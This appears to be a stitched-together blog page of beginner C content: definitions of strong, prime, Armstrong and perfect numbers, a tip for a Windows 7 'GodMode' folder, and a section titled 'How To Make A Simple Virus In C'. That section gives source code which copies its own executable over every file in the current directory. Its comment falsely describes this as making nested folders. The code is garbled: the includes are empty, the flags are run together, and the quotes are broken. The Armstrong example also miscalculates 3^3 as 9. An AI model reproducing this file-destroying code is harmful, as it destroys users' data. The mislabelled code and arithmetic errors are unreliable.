Definition of strong number:
A
number is called strong number if sum of the factorial of its digit is equal to
number itself. For example: 145 since
1! + 4! + 5! = 1 + 24 +
120 = 145To Check Prime Number
A
natural number greater than one has not any other divisors except 1 and itself.
In other word we can say which has only two divisors 1 and number itself. For
example: 5
Their
divisors are 1 and 5.
Note: 2
is only even prime number.
Logic for
prime number in c
We will
take a loop and divide number from 2 to number/2. If the number is not divisible
by any of the numbers then we will print it as prime number.
Example of prime numbers : 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31,
37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109,
113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197,
199 etc.
To Check Armstrong Number
Definition of Armstrong number or what is an
Armstrong number:
Definition according to c programming point of view:
Those numbers which sum of the cube of its digits is equal to that number are known as Armstrong numbers. For example 153 since 1^3 + 5^3 + 3^3 = 1+ 125 + 9 =153
Other Armstrong numbers: 370,371,407 etc.
To Check Perfect Number
Definition
of perfect number or What is perfect number?
Perfect
number is a positive number which sum of all positive divisors excluding that
number is equal to that number. For example 6 is perfect number since divisor
of 6 are 1, 2 and 3. Sum of its divisor
is
1 + 2+ 3 =6
Note: 6 is the smallest perfect
number.
Next perfect number is 28 since 1+
2 + 4 + 7 + 14 = 28
Some more perfect numbers: 496,
8128
How To Make A Simple Virus In C
Run this on your own responsibility
/*This
is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......
It will create Folder in a Folder in a Folder and so on ......
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
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How to Activate GodMode in Windows 7
Follow This steps to activate GOD MODE.
Step 1: Right click.
Step 2: Click create folder.
Step 3: Name your sparkly, new folder this, "GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}" and press enter.
Step 4: Blink as the folder changes form to look like the control panel.
That's it
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